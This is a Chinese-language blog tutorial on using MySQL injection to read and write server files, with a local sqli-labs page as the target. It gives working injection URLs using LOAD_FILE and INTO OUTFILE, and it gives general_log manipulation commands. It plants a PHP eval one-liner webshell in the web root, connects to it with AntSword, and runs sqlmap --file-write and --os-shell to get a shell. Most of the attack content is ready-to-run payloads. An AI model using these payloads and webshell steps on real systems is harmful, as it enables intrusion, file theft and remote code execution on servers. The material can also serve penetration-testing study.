mysql注入读写文件

mysql注入读文件

mysq|数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够)。下面进行读文件。

 

load_file()函数前提条件:

1.当前权限对该文件可读

2.文件在该服务器上

3.路径完整

4.文件大小小于max_allowed_packet

5.当前数据库用户有FILE权限

6.secure_file_priv的值为空,如果值为某目录,那么就只能对该目录的文件进行操作

配置环境

通过sql语句,show global variables查看配置参数。发现secure_file_priv 为NULL

修改mysql文件里的my.ini

需要注意的是 secure_file_priv= 需要放在引擎下面。不然会报错

 

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

null        表示限制mysqld 不允许导入或导出

/tmp/     表示限制mysqld 的导入或导出只能发生在/tmp/目录下

没有具体值   表示不对mysqld 的导入或导出做限制

 

修改完了后需要重启下mysql服务

 

再次查看

 

通过sql语句进行读取硬盘里面的文件。完整路径应该用/

       SELECT LOAD_FILE('D:\\test.txt');

当读取一个不存在,或者权限不足时返回NULL

注入读文件

LOAD_FILE

知道了绝对路径就能利用sql注入的方式来知晓文件下的内容

那么怎么知道路径在哪里呢?

通过@@datadir sql语句查看数据库

一般my.ini在data目录上。

 

select load_file('D://documentation/hacker/phpstudy_pro/Extensions/MySQL5.7.26\\my.ini');

导出文件到本地

into outfile

http://localhost/Less-1/?id=0'union select 1,2,load_file('D://documentation/hacker/phpstudy_pro/Extensions/MySQL5.7.26\\my.ini')INTO OUTFILE 'D://1.txt' --+

outfile 可导出多行,并会在每⾏的结束加上换⾏符

使用如下参数可以进行格式调整:

FIELDS ESCAPED BY 可以用来对指定的字符进行转义

FIELDS [OPTIONALLY] ENCLOSED BY 用来对字段值进行包裹

FIELDS TERMINATED BY 用来对字段值之间进行分割

into dumpfile

http://localhost/Less-1/?id=0'union select 1,2,load_file('D://documentation/hacker/phpstudy_pro/Extensions/MySQL5.7.26\\my.ini')INTO DUMPFILE'D://1.txt' --+

 

通过dumpfile导出的数据行数据之间并未进行换行且只导出了部分数据。

dumpfile对文件内容是原稿写入,未做任何转移和增加。

 

mysql注入写文件

 

mysq|数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够),下面介绍写文件。

 

SELECT…INTO OUTFILE写文件前提条件:

1.目标目录要有可写权限

2.当前数据库用户要有FILE权限

3.目标文件不能已存在

4.secure_file_priv的值为空

5.路径完整

 

LOAD DATA INFILE

有时候我们需要将大量数据批量写入数据库,直接使用程序语言和Sql写入往往很耗时间,其中有一种方案就是使用MySql Load data infile导入文件的形式导入数据到数据库,这样可大大缩短数据导入时间。利用这个函数,在渗透的时候会对测试人员有帮助。

 

LOAD DATA INFILE 是 SELECT ... INTO OUTFILE 的相对语句。只能导出或导入数据的内容,不包括表的结构,如果表的结构文件损坏,则必须先恢复原来的表的结构。

 

具体格式:

load data  [low_priority] [local] infile 'file_name txt' [replace | ignore] into table table_name

[fields

[terminated by't']

[OPTIONALLY] enclosed by '']

[escaped by'\' ]]

[lines terminated by'n']

[ignore number lines]

[(col_name,   )]

 

fields关键字指定了文件记段的分割格式,如果用到这个关键字,MySQL剖析器希望看到至少有下面的一个选项: 
terminated by分隔符:意思是以什么字符作为分隔符,如 '\n'

1. 查看功能是否开启

LOAD DATA INFILE这个功能默认是关闭的,当我们没有开启这个功能时执行LOAD DATA INFILE会报错,我们可以通过如下命令查看功能状态。

show global variables like 'local_infile';

 

如果没有开启,可以通过如下命令进行开启

set global local_infile=1;

 

2. 从文件读取行信息到表中

我在数据库中新建一个表,默认的id字段的类型改为varchar即字符串类型,这样才能写进去。其他字段就不需要了。主要这里路径是左斜杠

 

load data LOCAL INFILE 'D://1.txt' into TABLE abc fields TERMINATED by '\n';

执行命令后,数据已经进去了

如果我们表中有两个字段时,写入后就是如下的样子。从左往右,从上到下写。

 

into oufile

http://localhost/Less-1/?id=0'union select 1,2,'<?php phpinfo();?>' into OUTFILE 'D://documentation/hacker/phpstudy_pro/WWW/Less-1/1.php'--+

 

日志写文件

前言

利用 MySQL 进行文件(特别是木马文件)的写入,常常会用到 SELECT INTO FILE 这样一条语句,但是这条 SQL 语句的可写出路径会受到 secure-file-priv 设置项的限制。

 

前提条件

1.MySQL 拥有网站目录的写权限

2.SQL 注入可用,或有 phpMyAdmin 等执行SQL语句的途径

3.MySQL root 用户权限(日志方法需要)

4.有堆叠注入才能在网页上注入(因为union后面不能用set)

利用 MySQL 进行文件写入

常用方法

常用办法一般就是利用SELECT INTO FILE这一条语句写入文件。但是这个有一点限制,它只能通过secure-file-priv 参数来控制哪些目录下能进行写入。并且 secure_file_priv 参数是只读参数,不能使用 SET GLOBAL 语句修改,只有修改 MySQL 的配置文件并重启 MySQL 才能对此进行修改。

日志方法

但仍然有其他途径可以利用。以下方法需要 MySQL 的 SUPER 权限(root 用户)。

 

MySQL 文档中对 general log 的说明如下:

       Established client connections and statements received from clients

执行的 SQL 语句的内容都会写到 general log 的日志文件中,换句话说,只要开启 general log,并且执行一条内容包含 <?php @eval($_POST[value])?> 的语句,就能把这个一句话木马写入到指定文件,且不受 secure-file-priv 的限制。

 

日志文件相关命令:

       show variables like 'general_log'; -- 查看日志是否开启

       set global general_log=on; -- 开启日志功能

show variables like 'general_log_file'; -- 看看日志文件保存位置

set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置

show variables like 'log_output'; -- 看看日志输出类型 table或file

set global log_output='table'; -- 设置输出类型为 table

set global log_output='file'; -- 设置输出类型为file

 

通过执行以下 SQL 语句(需要 SUPER 权限)打开 general log 功能并且指定 general log 日志文件路径:

       SET GLOBAL general_log=on;

       SET GLOBAL general_log_file='目标文件路径';

 

然后执行一条包含要写入的内容的SQL语句,即可写入到目标文件上。

       SELECT '要写入的文件内容';

 

写入webshell

常用方法

前情提要


1.知道网站绝对路径

2,在mysql 中通过命令查看当前状态网站开启secure_file_priv开关需要是打开状态

  secure_file_priv的状态有三种可能有三种状态

       测试语句:show variables like '%secure_file_priv%'

       1.null 无法写入和读取

       2.设置为一个目录名字,只允许在该路径下导入导出。

       3.‘’空,可以在任意位置读取和写入

 

一句话木马

要知道网站绝对路径才能去写木马,才能用getshell工具蚁剑连接

http://localhost/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[value]); ?>' into OUTFILE 'D://documentation/hacker/phpstudy_pro/WWW/Less-1/shell.php'--+

 

在<?php @eval($_POST[value]); ?>这一句话里面

value是你自己写的。也就是登录密码

用蚁剑登录

日志方法

前边已经提起过相关的资料,再次就不继续水文。

 

没有堆叠注入是不能在网页进行日志方法

所有我们这里假设已经拿到了进入mysql并且有root账号。

 

日志注入secure_file_priv无要求

       show variables like '%secure_file_priv%'

 

查看日志功能有没有开启

       show VARIABLES like 'general_log';

 

没开启就开启日志功能

       set GLOBAL general_log = on;

 

 

show variables like 'log_output'; -- 看看日志输出类型 table或file

如果不是日志输出类型是table则设置成file

       set global log_output='file'; -- 设置输出类型为file

 

设置日志文件保存位置

set global general_log_file=' D://documentation/hacker/phpstudy_pro/WWW/Less-1/shell.php ';

此位置需要放到网站下面,不能随便放不然php代码执行不成功。

并且后缀是php。

 

执行一句话木马select '<?php @eval($_POST[value]); ?>';

此时不管报没报错。都会存在我们自己设置的shell.php日志文件下。由于是php后缀它就能只能一句话木马。通过蚁剑登录。

 

sqlmap安全测试

前情提要

对于文件操作会受到 secure-file-priv 设置项的限制

 

File system access

--file-read                            从目标数据库管理文件系统读取文件

--file-write                           上传文件到目标数据库管理文件系统

--file-dest                            指定写入文件的绝对路径

--os-cmd=                           执行操作系统命令

--os-shell                            交互式的系统shell

--os-pwn                             获取一个OOB shell,Meterpreter或者VNC

--os-smbrelay                    一键获取一个OOB shell,Meterpreter或者VNC

--os-bof                              储存过程缓冲区溢出利用

--os-esc                              数据库进程用户权限提升

--msf-path=                        Metasploit  Framework本地安装路径

 

1.下载文件。

sqlmap.py  -u "http://localhost/Less-1/?id=1" --file-read "D://1.txt"

注意,它是说保存到local下sqlmap位置。但是在我的电脑上实际是

C:\Users\18937\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\Local\sqlmap\output\localhost\files

2.写入文件

sqlmap.py  -u "http://localhost/Less-1/?id=1" --file-write "D://1.txt" --file-dest "D:\documentation\hacker\phpstudy_pro\WWW\Less-1\1.txt"

把D盘下1.txt上传到网站绝对路径下

1.获取shell

sqlmap.py  -u "http://localhost/Less-1/?id=1" --os-shell

 

2.选择网站的语言

3.输入网站的绝对路径

4.查看权限

posted @   0x1e61  阅读(1919)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~
点击右上角即可分享
微信分享提示